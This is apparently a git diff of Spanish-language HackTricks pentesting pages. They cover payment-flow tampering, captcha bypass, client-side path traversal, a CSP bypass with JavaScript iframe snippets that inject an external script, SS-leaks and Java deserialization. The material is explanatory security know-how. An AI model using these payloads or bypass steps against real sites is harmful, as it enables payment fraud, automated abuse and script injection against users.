2. **Inspección en Nueva Ventana**: Abre la URL copiada en una nueva ventana del navegador. Esta acción es crítica para entender el resultado de la transacción.
### Manipulación de Parámetros
1. **Cambiar los Valores de los Parámetros**: Experimenta alterando los valores de parámetros como _Éxito_, _Referente_ o _Callback_. Por ejemplo, cambiar un parámetro de `false` a `true` a veces puede revelar cómo el sistema maneja estas entradas.
2. **Eliminar Parámetros**: Intenta eliminar ciertos parámetros por completo para ver cómo reacciona el sistema. Algunos sistemas podrían tener alternativas o comportamientos predeterminados cuando faltan parámetros esperados.
1. **Cambia los Valores de los Parámetros**: Experimenta alterando los valores de parámetros como _Success_, _Referrer_ o _Callback_. Por ejemplo, cambiar un parámetro de `false` a `true` puede a veces revelar cómo el sistema maneja estas entradas.
2. **Elimina Parámetros**: Intenta eliminar ciertos parámetros por completo para ver cómo reacciona el sistema. Algunos sistemas pueden tener comportamientos predeterminados o de respaldo cuando faltan parámetros esperados.
### Manipulación de Cookies
1. **Examinar Cookies**: Muchos sitios web almacenan información crucial en cookies. Inspecciona estas cookies en busca de datos relacionados con el estado del pago o la autenticación del usuario.
2. **Modificar los Valores de las Cookies**: Altera los valores almacenados en las cookies y observa cómo cambia la respuesta o el comportamiento del sitio web.
### Alteración de Cookies
1. **Examina las Cookies**: Muchos sitios web almacenan información crucial en cookies. Inspecciona estas cookies en busca de datos relacionados con el estado del pago o la autenticación del usuario.
2. **Modifica los Valores de las Cookies**: Alterar los valores almacenados en las cookies y observa cómo cambia la respuesta o el comportamiento del sitio web.
### Secuestro de Sesiones
1. **Tokens de Sesión**: Si se utilizan tokens de sesión en el proceso de pago, intenta capturarlos y manipularlos. Esto podría proporcionar información sobre vulnerabilidades en la gestión de sesiones.
1. **Tokens de Sesión**: Si se utilizan tokens de sesión en el proceso de pago, intenta capturarlos y manipularlos. Esto podría dar información sobre vulnerabilidades en la gestión de sesiones.
### Manipulación de Respuestas
1. **Interceptar Respuestas**: Utiliza herramientas para interceptar y analizar las respuestas del servidor. Busca cualquier dato que pueda indicar una transacción exitosa o revelar los próximos pasos en el proceso de pago.
2. **Modificar Respuestas**: Intenta modificar las respuestas antes de que sean procesadas por el navegador o la aplicación para simular un escenario de transacción exitosa.
### Alteración de Respuestas
1. **Intercepta Respuestas**: Utiliza herramientas para interceptar y analizar las respuestas del servidor. Busca cualquier dato que pueda indicar una transacción exitosa o revelar los próximos pasos en el proceso de pago.
2. **Modifica Respuestas**: Intenta modificar las respuestas antes de que sean procesadas por el navegador o la aplicación para simular un escenario de transacción exitosa.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,49 +1,64 @@
# Salto de Captcha
# Captcha Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Salto de Captcha
## Captcha Bypass
Para **saltar** el captcha durante la **prueba del servidor** y automatizar las funciones de entrada de usuario, se pueden emplear diversas técnicas. El objetivo no es socavar la seguridad, sino agilizar el proceso de prueba. Aquí tienes una lista completa de estrategias:
Para **eludir** el captcha durante **las pruebas del servidor** y automatizar las funciones de entrada de usuario, se pueden emplear varias técnicas. El objetivo no es socavar la seguridad, sino agilizar el proceso de prueba. Aquí hay una lista completa de estrategias:
1. **Manipulación de Parámetros**:
* **Omitir el Parámetro del Captcha**: Evita enviar el parámetro del captcha. Experimenta cambiando el método HTTP de POST a GET u otros verbos, y alterando el formato de los datos, como alternar entre datos de formulario y JSON.
* **Enviar Captcha Vacío**: Envía la solicitud con el parámetro del captcha presente pero vacío.
* **Omitir el Parámetro Captcha**: Evitar enviar el parámetro captcha. Experimentar con cambiar el método HTTP de POST a GET u otros verbos, y alterar el formato de datos, como cambiar entre datos de formulario y JSON.
* **Enviar Captcha Vacío**: Enviar la solicitud con el parámetro captcha presente pero vacío.
2. **Extracción y Reutilización de Valores**:
* **Inspección del Código Fuente**: Busca el valor del captcha dentro del código fuente de la página.
* **Análisis de Cookies**: Examina las cookies para ver si el valor del captcha se almacena y se reutiliza.
* **Reutilizar Valores Antiguos de Captcha**: Intenta usar nuevamente valores de captcha previamente exitosos. Ten en cuenta que podrían expirar en cualquier momento.
* **Manipulación de Sesiones**: Intenta usar el mismo valor de captcha en diferentes sesiones o en la misma ID de sesión.
* **Inspección del Código Fuente**: Buscar el valor del captcha dentro del código fuente de la página.
* **Análisis de Cookies**: Examinar las cookies para ver si el valor del captcha está almacenado y se reutiliza.
* **Reutilizar Valores de Captcha Antiguos**: Intentar usar valores de captcha previamente exitosos nuevamente. Tenga en cuenta que pueden caducar en cualquier momento.
* **Manipulación de Sesiones**: Intentar usar el mismo valor de captcha en diferentes sesiones o el mismo ID de sesión.
3. **Automatización y Reconocimiento**:
* **Captcha Matemáticos**: Si el captcha implica operaciones matemáticas, automatiza el proceso de cálculo.
* **Captchas Matemáticos**: Si el captcha implica operaciones matemáticas, automatizar el proceso de cálculo.
* **Reconocimiento de Imágenes**:
* Para captchas que requieren leer caracteres de una imagen, determina manual o programáticamente el número total de imágenes únicas. Si el conjunto es limitado, podrías identificar cada imagen por su hash MD5.
* Utiliza herramientas de Reconocimiento Óptico de Caracteres (OCR) como [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) para automatizar la lectura de caracteres desde imágenes.
* Para captchas que requieren leer caracteres de una imagen, determinar manual o programáticamente el número total de imágenes únicas. Si el conjunto es limitado, puede identificar cada imagen por su hash MD5.
* Utilizar herramientas de Reconocimiento Óptico de Caracteres (OCR) como [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) para automatizar la lectura de caracteres de imágenes.
4. **Técnicas Adicionales**:
* **Prueba de Límite de Tasa**: Verifica si la aplicación limita el número de intentos o envíos en un período de tiempo dado y si este límite se puede saltar o restablecer.
* **Servicios de Terceros**: Utiliza servicios o APIs de resolución de captchas que ofrecen reconocimiento y resolución automatizados de captchas.
* **Rotación de Sesiones e IPs**: Cambia frecuentemente las IDs de sesión y las direcciones IP para evitar la detección y el bloqueo por parte del servidor.
* **Manipulación de User-Agent y Cabeceras**: Altera el User-Agent y otras cabeceras de solicitud para imitar diferentes navegadores o dispositivos.
* **Análisis de Captcha de Audio**: Si hay una opción de captcha de audio disponible, utiliza servicios de conversión de voz a texto para interpretar y resolver el captcha.
* **Pruebas de Límite de Tasa**: Verificar si la aplicación limita el número de intentos o envíos en un período de tiempo determinado y si este límite se puede eludir o restablecer.
* **Servicios de Terceros**: Emplear servicios o APIs de resolución de captcha que ofrezcan reconocimiento y solución automatizada de captcha.
* **Rotación de Sesiones e IP**: Cambiar frecuentemente los IDs de sesión y las direcciones IP para evitar la detección y el bloqueo por parte del servidor.
* **Manipulación de User-Agent y Encabezados**: Alterar el User-Agent y otros encabezados de solicitud para imitar diferentes navegadores o dispositivos.
* **Análisis de Captcha de Audio**: Si hay una opción de captcha de audio disponible, utilizar servicios de conversión de voz a texto para interpretar y resolver el captcha.
## Servicios en Línea para resolver captchas
## Online Services to solve captchas
### [Capsolver](https://www.capsolver.com/)
El solucionador automático de captchas de Capsolver ofrece una solución de resolución de captchas **asequible y rápida**. Puedes combinarlo rápidamente con tu programa utilizando su sencilla opción de integración para obtener los mejores resultados en cuestión de segundos. Puede resolver reCAPTCHA V2 y V3, hCaptcha, FunCaptcha, datadome, captcha de aws, imagen a texto, captcha de binance / coinmarketcap, geetest v3, y más. Sin embargo, esto no es un salto en sí mismo.
El solucionador automático de captcha de Capsolver ofrece una **solución de resolución de captcha asequible y rápida**. Puede combinarlo rápidamente con su programa utilizando su opción de integración simple para lograr los mejores resultados en cuestión de segundos. Puede resolver reCAPTCHA V2 y V3, hCaptcha, FunCaptcha, datadome, aws captcha, picture-to-text, binance / coinmarketcap captcha, geetest v3, y más. Sin embargo, esto no es un bypass en sí.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,23 +1,39 @@
# Traversal de Ruta del Lado del Cliente
# Client Side Path Traversal
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
## Información Básica
## Basic Information
Un traversal de ruta del lado del cliente ocurre cuando puedes **manipular la ruta de una URL** que va a ser **enviada a un usuario para visitar de manera legítima** o que un usuario de alguna manera va a ser **forzado a visitar, por ejemplo a través de JS o CSS**.
Una vulnerabilidad de path traversal del lado del cliente ocurre cuando puedes **manipular la ruta de una URL** que va a ser **enviada a un usuario para visitar de manera legítima** o que un usuario de alguna manera va a ser **forzado a visitar, por ejemplo, a través de JS o CSS**.
En [**este informe**](https://erasec.be/blog/client-side-path-manipulation/), fue posible **cambiar la URL de invitación** para que terminara **cancelando una tarjeta**.
En [**este informe**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), fue posible combinar un **traversal de ruta del lado del cliente a través de CSS** (fue posible cambiar la ruta desde donde se cargaba un recurso CSS) con una **redirección abierta** para cargar el recurso CSS desde un **dominio controlado por el atacante**.
En [**este informe**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), fue posible combinar un **path traversal del lado del cliente a través de CSS** (fue posible cambiar la ruta de donde se cargaba un recurso CSS) con un **redireccionamiento abierto** para cargar el recurso CSS desde un **dominio controlado por el atacante**.
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
Una configuración como:
@ -23,7 +24,7 @@ Cualquier contenido de fuentes externas también está bloqueado, incluyendo im
### A través de Texto e Imágenes
Se observa que los navegadores modernos convierten imágenes y textos en HTML para mejorar su visualización (por ejemplo, estableciendo fondos, centrando, etc.). En consecuencia, si una imagen o archivo de texto, como `favicon.ico` o `robots.txt`, se abre a través de un `iframe`, se renderiza como HTML. Es importante destacar que estas páginas a menudo carecen de encabezados CSP y pueden no incluir X-Frame-Options, lo que permite la ejecución de JavaScript arbitrario desde ellas:
Se observa que los navegadores modernos convierten imágenes y textos en HTML para mejorar su visualización (por ejemplo, configurando fondos, centrando, etc.). En consecuencia, si un archivo de imagen o texto, como `favicon.ico` o `robots.txt`, se abre a través de un `iframe`, se renderiza como HTML. Notablemente, estas páginas a menudo carecen de encabezados CSP y pueden no incluir X-Frame-Options, lo que permite la ejecución de JavaScript arbitrario desde ellas:
```javascript
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
@ -34,7 +35,7 @@ window.frames[0].document.head.appendChild(script);
```
### A través de Errores
De manera similar, las respuestas de error, como archivos de texto o imágenes, suelen llegar sin encabezados CSP y podrían omitir X-Frame-Options. Los errores pueden ser inducidos a cargarse dentro de un iframe, lo que permite realizar las siguientes acciones:
De manera similar, las respuestas de error, como archivos de texto o imágenes, generalmente vienen sin encabezados CSP y pueden omitir X-Frame-Options. Se pueden inducir errores para que se carguen dentro de un iframe, lo que permite las siguientes acciones:
```javascript
// Inducing an nginx error
frame=document.createElement("iframe");
@ -54,7 +55,7 @@ document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
```
Después de activar cualquiera de los escenarios mencionados, la ejecución de JavaScript dentro del iframe es posible de la siguiente manera:
Después de activar cualquiera de los escenarios mencionados, la ejecución de JavaScript dentro del iframe se puede lograr de la siguiente manera:
```javascript
script=document.createElement('script');
script.src='//example.com/csp.js';
@ -65,16 +66,17 @@ window.frames[0].document.head.appendChild(script);
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# Filtraciones de SS
# SS-Leaks
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
**Consulta la publicación [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
**Revisa la publicación [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
En este POST se explicará un ejemplo usando `java.io.Serializable`.
En esta PUBLICACIÓN se va a explicar un ejemplo utilizando `java.io.Serializable`.
# Serializable
